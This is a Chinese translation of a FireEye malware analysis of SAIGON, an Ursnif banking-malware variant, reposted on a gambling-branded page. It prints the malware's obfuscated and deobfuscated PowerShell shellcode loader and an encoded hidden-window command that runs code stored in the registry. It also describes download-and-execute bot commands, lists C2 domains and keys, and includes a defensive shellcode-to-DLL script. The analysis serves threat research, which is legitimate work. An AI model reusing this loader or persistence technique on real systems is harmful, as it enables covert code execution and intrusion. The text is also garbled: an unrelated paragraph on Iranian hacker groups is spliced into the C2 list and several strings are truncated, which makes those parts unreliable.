欢迎访问Sunbet官网(www.sunbet.us),Allbet欧博官网(www.ALLbetgame.us)!

首页Sunbet_新闻事件正文

银行恶意软件Ursnif的一个特殊变种——SAIGON恶意软件分析

b9e08c31ae1faa592020-01-1757申博_行业观察

一、概述

Ursnif(又称为Gozi或Gozi-ISFB),是最早发现的银行恶意软件家族之一,至今仍然在持续活跃。尽管Ursnif的第一个核心版本是在2006年被发现的,但由于其源代码被泄露,导致后续版本的接连出现。在2019年9月,FireEye对一台托管了一系列工具的服务器进行了分析,发现其中包含多个恶意软件家族,最终确认发现Ursnif恶意软件家族此前未知的一个新变种。该恶意软件自称为“SaiGon 3.50版本,rev 132”,但经过我们的分析表明,该恶意软件很可能是基于Ursnif的v3(RM3)源代码而开发的变种。值得关注的是,SAIGON并不是一个功能完全成熟的银行恶意软件,而是一个更为通用的后门程序,可能是专门用于有针对性的网络犯罪活动。

二、技术分析

2.1 恶意软件行为

在受感染的计算机上,SAIGON将Shellcode Blob存储在注册表项中,以Base64编码的形式保存,随后利用PowerShell通过计划任务运行Shellcode。与其他Ursnif变种一样,该恶意软件的主要组件是DLL文件。这个DLL具有单独的导出函数DllRegisterServer,该函数是未经使用的空函数。在通过DLL的入口点加载并初始化DLL时,将会执行恶意软件的所有相关功能。

在初始执行后,恶意软件会使用%SystemDrive%\pagefile.sys或%SystemDrive%\hiberfil.sys的创建时间戳(以最先识别的为准)生成计算机ID。值得关注的是,这里还会以一种不常见的方式,直接从KUSER_SHARED_DATA结构(通过SharedUserData→NtSystemRoot)查询系统驱动器。KUSER_SHARED_DATA结构位于内核内存的特殊部分中,这一部分会映射到所有用户模式进程的内存空间中(共享),并且始终位于固定的内存地址(0x7ffe0000,由SharedUserData符号指向)。

然后,恶意代码通过对GetWindowThreadProcessId(GetShellWindow(), …)的调用来查找当前的Shell进程。该代码中还包含特殊的检查功能。如果根据Shell父进程名称计算出的校验和与explorer.exe(0xc3c07cf0)的校验和匹配,则恶意代码还将尝试注入到父进程中。

然后,SAIGON使用经典的VirtualAllocEx / WriteProcessMemory / CreateRemoteThread函数组合将其注入该进程。在注入进程后,会将其从二进制文件中加载两个嵌入式文件,分别是:

1、PUBLIC.KEY文件,用于验证和解密来自恶意软件的命令和控制(C2)服务器的其他嵌入式文件和数据;

2、RUN.PS1文件,这是一个PowerShell加载器脚本模板,该脚本模板中包含“@SOURCE@”占位符。

$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@");
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("JHdneG1qZ2J4dGo9JGh
hbmtzZWZrc2d1Lkxlbmd0aDskdHNrdm89IltEbGxJbXBvcnQoYCJrZXJuZWwzMmAiKV1gbnB1YmxpYyBzdGF
0aWMgZXh0ZXJuIEludDMyIEdldEN1cnJlbnRQcm9jZXNzKCk7YG5bRGxsSW1wb3J0KGAidXNlcjMyYCIpXWB
ucHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIEdldERDKEludFB0ciBteHhhaHhvZik7YG5bRGxsSW1wb3J0K
GAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgQ3JlYXRlUmVtb3RlVGhyZWFkKEl
udFB0ciBoY3d5bHJicywgSW50UHRyIHdxZXIsdWludCBzZmosSW50UHRyIHdsbGV2LEludFB0ciB3d2RyaWN
0d2RrLHVpbnQga2xtaG5zayxJbnRQdHIgdmNleHN1YWx3aGgpO2BuW0RsbEltcG9ydChgImtlcm5lbDMyYCI
pXWBucHVibGljIHN0YXRpYyBleHRlcm4gVUludDMyIFdhaXRGb3JTaW5nbGVPYmplY3QoSW50UHRyIGFqLC
BVSW50MzIga2R4c3hldik7YG5bRGxsSW1wb3J0KGAia2VybmVsMzJgIildYG5wdWJsaWMgc3RhdGljIGV4dG
VybiBJbnRQdHIgVmlydHVhbEFsbG9jKEludFB0ciB4eSx1aW50IGtuYnQsdWludCB0bXJ5d2h1LHVpbnQgd2d1
dHVkKTsiOyR0c2thYXhvdHhlPUFkZC1UeXBlIC1tZW1iZXJEZWZpbml0aW9uICR0c2t2byAtTmFtZSAnV2luMzI
nIC1uYW1lc3BhY2UgV2luMzJGdW5jdGlvbnMgLXBhc3N0aHJ1OyRtaHhrcHVsbD0kdHNrYWF4b3R4ZTo6Vml
ydHVhbEFsbG9jKDAsJHdneG1qZ2J4dGosMHgzMDAwLDB4NDApO1tTeXN0ZW0uUnVudGltZS5JbnRlcm9wU
2VydmljZXMuTWFyc2hhbF06OkNvcHkoJGhhbmtzZWZrc2d1LDAsJG1oeGtwdWxsLCR3Z3htamdieHRqKTskd
GRvY25ud2t2b3E9JHRza2FheG90eGU6OkNyZWF0ZVJlbW90ZVRocmVhZCgtMSwwLDAsJG1oeGtwdWxsLC
RtaHhrcHVsbCwwLDApOyRvY3h4am1oaXltPSR0c2thYXhvdHhlOjpXYWl0Rm9yU2luZ2xlT2JqZWN0KCR0ZG
9jbm53a3ZvcSwzMDAwMCk7")));

该恶意软件用自身的Base64编码版本替换了这个PowerShell脚本模板中的“@SOURCE@”占位符,并将PowerShell脚本写入到位于“HKEY_CURRENT_USER\Identities\{

PowerShell脚本写入PsRun:

银行恶意软件Ursnif的一个特殊变种——SAIGON恶意软件分析  申博_行业观察 第1张

随后,SAIGON实例创建一个名为“Power

计划任务:

银行恶意软件Ursnif的一个特殊变种——SAIGON恶意软件分析  申博_行业观察 第2张

无论使用哪种持久性机制,从注册表中执行二进制文件的命令都会类似于如下内容:

PowerShell.exe -windowstyle hidden -ec aQBlAHgAIAAoAGcAcAAgACcASABLAEMAVQA6AFwASQBkAGUAbgB0AGkAdABpAGUAcwBcAHsANAAzAEIA
OQA1AEUANQBCAC0ARAAyADEAOAAtADAAQQBCADgALQA1AEQANwBGAC0AMgBDADcAOAA5AEMANQA5
AEIAMQBEAEYAfQAnACkALgBQAHMAUgB1AG4A

在对该命令进行Base64解码之后,发现该命令类似于“iex (gp 'HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun”。在执行后,该命令会使用Get-ItemProperty (gp)检索上一个注册表值中的内容,并使用Invoke-Expression (iex)来执行。

最后,注册表中的PowerShell代码会分配一个内存块,将Base64解码后的Shellcode Blob复制到其中,使用CreateRemoteThread启动指向该区域的新线程,然后等待该线程完成。以下脚本是PowerShell的反混淆和美化后版本。

$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@");
$wgxmjgbxtj = $hanksefksgu.Length;
 
$tskvo = @"
[DllImport("kernel32")]
public static extern Int32 GetCurrentProcess();
 
[DllImport("user32")]
public static extern IntPtr GetDC(IntPtr mxxahxof);
 
[DllImport("kernel32")]
public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh);
 
[DllImport("kernel32")]
public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev);
 
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud);
"@;
 
$tskaaxotxe = Add-Type -memberDefinition $tskvo -Name 'Win32' -namespace Win32Functions -passthru;
$mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj);
$tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0);
$ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);

一旦在计算机上建立了立足点,SAIGON就会加载并解析其嵌入式LOADER.INI配置(有关详细信息,请参考“2.2 恶意软件配置”一节),并启动其主工作线程,该线程不断向C2服务器发出查询命令。

2.2 恶意软件配置

在Ursnif源代码中,使用了一个称为“联合数据”(Joined Data)的概念,这个概念是与可执行文件捆绑在一起的一组压缩/加密文件。早期的变种依赖于PE头之后的特殊结构,并使用特定的魔术字节进行标记(例如:“JF”、“FJ”、“J1”、“JJ”等,具体取决于Ursnif版本)。在Ursnif v3中,该数据不再只是位于PE头之后,而是由PE头的安全目录指向,并且魔术字节也已经更改为“WD”(0x4457)。

Ursnif v3联合数据:

银行恶意软件Ursnif的一个特殊变种——SAIGON恶意软件分析  申博_行业观察 第3张

该结构定义了Bundled文件的各种属性,包括偏移量、大小和类型。这与SAIGON用于存储三个嵌入式文件的方法完全相同:

1、PUBLIC.KEY – RSA公钥;

2、RUN.PS1 – PowerShell脚本模板;

3、LOADER.INI – 恶意软件配置。

以下是观察到的配置选项的列表:

(1)HostsList(校验和:0x97ccd204) 用于通信的C2 URL列表;

(2)ServerKey(校验和:0xd82bcb60) 用于与C2通信的Serpent密钥;

(3)Group(校验和:0x23a02904) 僵尸网络ID;

(4)IdlePeriod(校验和:0x776c71c0) 向C2发出初始请求前要等待的秒数;

(5)MinimumUptime(校验和:0x22aa2818) 正常运行前需等待的时间(以秒为单位);

(6)LoadPeriod(校验和:0x5beb543e) 在每次对C2发起请求之间等待的时间(以秒为单位);

(7)HostKeepTime(校验和:0x84485ef2) 发生故障时切换到下一个C2服务器前需等待的时间(以秒为单位)。

2.3 恶意软件通信

尽管SAIGON的网络通信结构与Ursnif v3非常相似,但二者之间仍然存在一些细微的差异。SAIGON信标通过HTTP/POST到“/index.html”URL路径的multipart/form-data编码请求发送到C2服务器。首先,使用Serpent加密(在ECB模式和CBC模式下)对要发送的Payload进行加密,然后再进行Base64编码。来自服务器的响应使用相同的Serpent密钥加密,并使用服务器的RSA私钥签名。

SAIGON在其HTTP请求中使用以下User-Agent标头:“Mozilla/5.0 (Windows NT

"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" on Windows 10 64-bit
"Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0" on Windows 7 32-bit

请求格式也类似于上文中描述的其他Ursnif变种所使用的格式:

ver=%u&group=%u&id=%08x%08x%08x%08x&type=%u&uptime=%u&knock=%u

请求中各字段作用如下:

(1)ver – Bot版本(与其他Ursnif变种不同,该版本仅包含内部版本号,因此只包含“3.5.xxx”中的“xxx”位);

(2)group – 僵尸网络ID;

(3)id – 客户端ID;

(4)type – 请求类型(0表示轮询任务,6表示上传系统信息数据);

(5)uptime – 主机正常运行时间(以秒为单位);

(6)knock – Bot“敲门”的周期(在对C2发出每次请求之间需等待的秒数,参考LoadPeriod配置选项)。

2.4 恶意软件功能

SAIGON实现了如下描述的Bot命令。

(1)SELF_DELETE(校验和:0x45d4bf54) 从计算机上自行卸载,删除计划任务并删除其注册表项。

(2)LOAD_UPDATE(校验和:0xd86c3bdc) 从URL下载数据,解密并验证签名,将其另存为.ps1文件,然后使用“PowerShell.exe -ep unrestricted -file %s”命令来运行。

(3)GET_SYSINFO(校验和:0xeac44e42) 通过运行以下命令来收集并上传系统信息:

"systeminfo.exe"

"net view"

"nslookup 127.0.0.1"

"tasklist.exe /SVC"

"driverquery.exe"

"reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s"

(4)LOAD_DLL(校验和:0x83bf8ea0) 从URL下载数据,解密并验证,然后使用用于将自身加载到内存中的相同Shellcode加载工具将DLL加载到当前进程中。

(5)LOAD_EXE(校验和:0xa8e78c43) 从URL下载数据、解密并验证,以.exe扩展名保存,使用ShellExecute调用。

2.5 SAIGON与Ursnif v3的比较

我们对比了Ursnif v3与此次所分析的SAIGON样本之间的相似性,具体比较结果如下。

(1)持久性:都使用计划任务执行存储在注册表项中的PowerShell代码。

(2)如何存储配置:使用安全PE目录,指向以“WD”魔术字节开始的嵌入式二进制数据(又称为“Ursnif联合文件”)。

(3)PRNG算法:都使用xorshift64*。

(4)校验和算法:Ursnif v3使用JAMCRC(又称为所有位都被翻转的CRC32)计算校验和;SAIGON使用CRC32计算校验和,其结果仅向右旋转1位。

(5)数据压缩:都使用aPLib。

(6)加密/解密:Ursnif v3使用Serpent CBC;SAIGON使用Serpent ECB。

(7)数据完整性验证:都使用RSA签名。

(8)通信方式:都使用HTTP POST请求。

(9)Payload编码:Ursnif v3使用未填充的Base64(其中的“+”和“/”分别替换为“_2B”和“_2F”),并在其中添加了随机的斜杠;SAIGON使用未填充的Base64(其中的“+”和“/”分别替换为“_2B”和“_2F”),其中未添加随机斜杠。

(10)是否使用模仿的URL路径:Ursnif v3使用,SAIGON未使用。

(11)是否使用PX文件格式:Ursnif v3使用,SAIGON未使用。

下图展现了Ursnif v3使用的URL模仿路径,在其他Ursnif变种(包括SAIGON)中都没有发现此类策略。

Ursnif v3模仿URL路径(红色),在其他的Ursnif变种(包括SAIGON)中显示正常(绿色):

银行恶意软件Ursnif的一个特殊变种——SAIGON恶意软件分析  申博_行业观察 第4张

三、总结

目前尚不清楚SAIGON是否能代表Ursnif恶意软件生态系统更为广泛的发展状况。到目前为止,我们发现的SAIGON样本数量很少,所有样本的编译时间戳都是2018年,这表明SAIGON可能是Ursnif v3的一个小分支,只在少数恶意活动中使用。值得注意的是,SAIGON的功能与典型的银行恶意软件有所不同,并且可能更适合支持对特定目标的入侵操作。我们可以通过在服务器上预先识别SAIGON的方式来证明这一点,该服务器上托管用于入侵操作的工具,其中还包含VISA最近通报的恶意软件,以及FIN8先前使用的工具。

四、致谢

在这里,感谢Kimberly Goody、Jeremy Kennelly和James Wyke对于本篇文章提供的支持。

附录A:样本

下面是样本列表,包括其嵌入式配置。

样本SHA-256:

8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5

版本:3.50.132

PE时间戳:2018-07-07T14:51:30

XOR Cookie:0x40d822d9

C2 URL:

https://google-download[.]com

https://cdn-google-eu[.]com

伊朗黑客组织大集合

近日,美伊关系持续紧张。美国国土安全部认为伊朗拥有强大的网络攻击能力,可以和可能对美国实施网络攻击,至少有能力对美国的关键基础设施发起具有暂时的破坏性的攻击。本文就可能与伊朗有关的黑客组织进行初步分析。 OilRig OilRig是一个伊朗黑客组织,主要攻击目标为中东地区的不同行业,该组织也会攻击中东地区外的组织。OilRig常常会发起供应链攻击,利用组织之间的信任关系来攻击其目标。该组织使用Mimikatz和laZagne这样的开源管理工具和常见的系统管理工具,如PsExec, CertUtil, Netstat, SystemInfo, ipconfig和tasklist。Bonupdater, Helminth, Quadangent和PowRuner是过去几年出现的与OilRig相关的恶意软件。OilRig TTP如下图所示: OilRig TTP 从图中可以看出,OilRig主要关注隐藏技术而非使用

https://cdn-gmail-us[.]com

组/僵尸网络ID:1001

服务器密钥:rvXxkdL5DqOzIRfh

空闲时间:30

载入时间:300

主机保留时间:1440

RSA公钥:

(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c

021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915

d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

样本SHA-256:

c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6

版本:3.50.132

PE时间戳:2018-07-07T14:51:41

XOR Cookie:0x40d822d9

C2 URL:

https://google-download[.]com

https://cdn-google-eu[.]com

https://cdn-gmail-us[.]com

组/僵尸网络ID:1001

服务器密钥:rvXxkdL5DqOzIRfh

空闲时间:30

载入时间:300

主机保留时间:1440

RSA公钥:

(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b1502ccb5c

021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f593518a2cf4915

d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

样本SHA-256:

431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e

版本:3.50.199

PE时间戳:2018-11-15T11:17:09

XOR Cookie:0x40d822d9

C2 URL:

https://mozilla-yahoo[.]com

https://cdn-mozilla-sn45[.]com

https://cdn-digicert-i31[.]com

组/僵尸网络ID:1000

服务器密钥:rvXxkdL5DqOzIRfh

空闲时间:60

载入时间:300

主机保留时间:1440

RSA公钥:

(0xd2185e9f2a77f781526f99baf95dff7974e15feb4b7c7a025116dec10aec8b38c808f5f0bb21ae575672b15

02ccb5c021c565359255265e0ca015290112f3b6cb72c7863309480f749e38b7d955e410cb53fb3ecf7c403f5

93518a2cf4915d0ff70c3a536de8dd5d39a633ffef644b0b4286ba12273d252bbac47e10a9d3d059, 0x10001)

样本SHA-256:

628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9

版本:3.50.209

PE时间戳:2018-12-04T10:47:56

XOR Cookie:0x40d822d9

C2 URL:

http://softcloudstore[.]com

http://146.0.72.76

http://setworldtime[.]com

https://securecloudbase[.]com

组/僵尸网络ID:1000

服务器密钥:0123456789ABCDEF

空闲时间:20

最小正常运行时间:300

载入时间:1800

主机保留时间:360

RSA公钥:

(0xdb7c3a9ea68fbaf5ba1aebc782be3a9e75b92e677a114b52840d2bbafa8ca49da40a64664d80cd62d9453

34f8457815dd6e75cffa5ee33ae486cb6ea1ddb88411d97d5937ba597e5c430a60eac882d8207618d14b660

70ee8137b4beb8ecf348ef247ddbd23f9b375bb64017a5607cb3849dc9b7a17d110ea613dc51e9d2aded, 0x10001)

附录B:威胁指标

样本哈希值:

8ded07a67e779b3d67f362a9591cce225a7198d2b86ec28bbc3e4ee9249da8a5

c6a27a07368abc2b56ea78863f77f996ef4104692d7e8f80c016a62195a02af6

431f83b1af8ab7754615adaef11f1d10201edfef4fc525811c2fcda7605b5f2e [VT]

628cad1433ba2573f5d9fdc6d6ac2c7bd49a8def34e077dbbbffe31fb6b81dc9 [VT]

C2服务器:

https://google-download[.]com

https://cdn-google-eu[.]com

https://cdn-gmail-us[.]com

https://mozilla-yahoo[.]com

https://cdn-mozilla-sn45[.]com

https://cdn-digicert-i31[.]com

http://softcloudstore[.]com

http://146.0.72.76

http://setworldtime[.]com

https://securecloudbase[.]com

User-Agent:

"Mozilla/5.0 (Windows NT

其他基于主机的指标:

“Power

注册表项HKCU\Identities\{

附录C:Shellcode转换脚本

以下Python脚本可以有助于简化对该恶意软件的分析过程。该脚本通过删除PE加载工具并还原其PE标头的方式,将SAIGON Shellcode Blob转换回其原始DLL形式。这些更改使得对于SAIGON Shellcode Blob的分析过程变得更加简单(例如:允许在IDA中加载文件)。但是在调试器中运行时,所创建的DLL将发生崩溃,因为在调试期间的进程注入阶段,恶意软件仍然依赖于PE加载工具(已经被删除)。经过转换后,样本代码行数较少且未经混淆,因此相对易于分析。

#!/usr/bin/env python3 import argparse import struct from datetime import datetime
MZ_HEADER = bytes.fromhex(     '4d5a90000300000004000000ffff0000'     'b8000000000000004000000000000000'     '00000000000000000000000000000000'     '00000000000000000000000080000000'     '0e1fba0e00b409cd21b8014ccd215468'     '69732070726f6772616d2063616e6e6f'     '742062652072756e20696e20444f5320'     '6d6f64652e0d0d0a2400000000000000' )
def main():     parser = argparse.ArgumentParser(description="Shellcode to PE converter for the Saigon malware family.")     parser.add_argument("sample")     args = parser.parse_args()
    with open(args.sample, "rb") as f:         data = bytearray(f.read())
    if data.startswith(b'MZ'):         lfanew = struct.unpack_from('=I', data, 0x3c)[0]         print('This is already an MZ/PE file.')         return     elif not data.startswith(b'\xe9'):         print('Unknown file type.')         return
    struct.pack_into('=I', data, 0, 0x00004550)     if data[5] == 0x01:         struct.pack_into('=H', data, 4, 0x14c)     elif data[5] == 0x86:         struct.pack_into('=H', data, 4, 0x8664)     else:         print('Unknown architecture.')         return
    # file alignment     struct.pack_into('=I', data, 0x3c, 0x200)
    optional_header_size, _ = struct.unpack_from('=HH', data, 0x14)     magic, _, _, size_of_code = struct.unpack_from('=HBBI', data, 0x18)     print('Magic:', hex(magic))     print('Size of code:', hex(size_of_code))
    base_of_code, base_of_data = struct.unpack_from('=II', data, 0x2c)
    if magic == 0x20b:         # base of data, does not exist in PE32+         if size_of_code & 0x0fff:             tmp = (size_of_code & 0xfffff000) + 0x1000         else:             tmp = size_of_code         base_of_data = base_of_code + tmp
    print('Base of code:', hex(base_of_code))     print('Base of data:', hex(base_of_data))
    data[0x18 + optional_header_size : 0x1000] = b'\0' * (0x1000 - 0x18 - optional_header_size)
    size_of_header = struct.unpack_from('=I', data, 0x54)[0]
    data_size = 0x3000     pos = data.find(struct.pack('=IIIII', 3, 5, 7, 11, 13))     if pos >= 0:         data_size = pos - base_of_data
    section = 0     struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,         b'.text',         size_of_code, base_of_code,         base_of_data - base_of_code, size_of_header,         0, 0,         0, 0,         0x60000020     )     section += 1     struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,         b'.rdata',         data_size, base_of_data,         data_size, size_of_header + base_of_data - base_of_code,         0, 0,         0, 0,         0x40000040     )     section += 1     struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,         b'.data',         0x1000, base_of_data + data_size,         0x1000, size_of_header + base_of_data - base_of_code + data_size,         0, 0,         0, 0,         0xc0000040     )
    if magic == 0x20b:         section += 1         struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,             b'.pdata',             0x1000, base_of_data + data_size + 0x1000,             0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,             0, 0,             0, 0,             0x40000040         )         section += 1         struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,             b'.bss',             0x1600, base_of_data + data_size + 0x2000,             len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000,             0, 0,             0, 0,             0xc0000040         )     else:         section += 1         struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,             b'.bss',             0x1000, base_of_data + data_size + 0x1000,             0x1000, size_of_header + base_of_data - base_of_code + data_size + 0x1000,             0, 0,             0, 0,             0xc0000040         )         section += 1         struct.pack_into('=8sIIIIIIHHI', data, 0x18 + optional_header_size + 0x28 * section,             b'.reloc',             0x2000, base_of_data + data_size + 0x2000,             len(data[base_of_data + data_size + 0x2000:]), size_of_header + base_of_data - base_of_code + data_size + 0x2000,             0, 0,             0, 0,             0x40000040         )
    header = MZ_HEADER + data[:size_of_header - len(MZ_HEADER)]     pe = bytearray(header + data[0x1000:])     with open(args.sample + '.dll', 'wb') as f:         f.write(pe)
    lfanew = struct.unpack_from('=I', pe, 0x3c)[0]     timestamp = struct.unpack_from('=I', pe, lfanew + 8)[0]     print('PE timestamp:', datetime.utcfromtimestamp(timestamp).isoformat())
 
if __name__ == "__main__":     main()
本文翻译自:https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html

网友评论